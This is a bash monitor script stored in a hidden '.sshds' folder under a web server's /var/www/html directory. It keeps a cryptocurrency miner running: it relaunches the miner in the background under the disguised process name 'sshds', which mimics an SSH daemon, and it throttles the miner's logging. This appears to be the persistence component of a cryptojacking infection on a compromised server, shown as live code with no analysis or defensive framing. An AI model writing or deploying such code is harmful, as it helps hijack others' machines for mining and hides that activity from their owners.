File: /var/www/html/.sshds/monitor.sh
#!/bin/bash
# Monitor script to check and restart miner if not running
MAX_LOG_SIZE=20971520 # 20MB
LOG_FILE="$HOME/.sshds/sshds.log"
MONITOR_LOG="$HOME/.sshds/monitor.log"
LOG_STOPPED_FLAG="$HOME/.sshds/log_stopped"
# Determine log output based on size
if [ -f "$LOG_FILE" ]; then
LOG_SIZE=$(wc -c < "$LOG_FILE" 2>/dev/null)
if [ "$LOG_SIZE" -gt "$MAX_LOG_SIZE" ]; then
# Log is too big, switch to /dev/null
if [ ! -f "$LOG_STOPPED_FLAG" ]; then
# If we were logging to file, stop process to switch to /dev/null
echo "$(date): Log limit exceeded ($LOG_SIZE > $MAX_LOG_SIZE). Switching to /dev/null." >> "$MONITOR_LOG"
pkill -9 sshds 2>/dev/null
touch "$LOG_STOPPED_FLAG"
fi
LOG_OUTPUT="/dev/null"
else
# Log is within limits
if [ -f "$LOG_STOPPED_FLAG" ]; then
# Log was cleared/reduced by user? Resume logging.
echo "$(date): Log size ok. Resuming logging." >> "$MONITOR_LOG"
pkill -9 sshds 2>/dev/null
rm "$LOG_STOPPED_FLAG"
fi
LOG_OUTPUT="$LOG_FILE"
fi
else
# Log file doesn't exist
LOG_OUTPUT="$LOG_FILE"
[ -f "$LOG_STOPPED_FLAG" ] && rm "$LOG_STOPPED_FLAG"
fi
# Check if sshds process is running
if ! pidof sshds >/dev/null; then
echo "$(date): sshds not running, restarting..." >> "$MONITOR_LOG"
# Clean up any zombie processes
pkill -9 sshds 2>/dev/null
# Wait a moment
sleep 5
# Start the miner
nohup nice $HOME/.sshds/sshds --config=$HOME/.sshds/config_background.json >> "$LOG_OUTPUT" 2>&1 &
echo "$(date): sshds restarted with output to $LOG_OUTPUT" >> "$MONITOR_LOG"
else
echo "$(date): sshds is running" >> "$MONITOR_LOG"
fi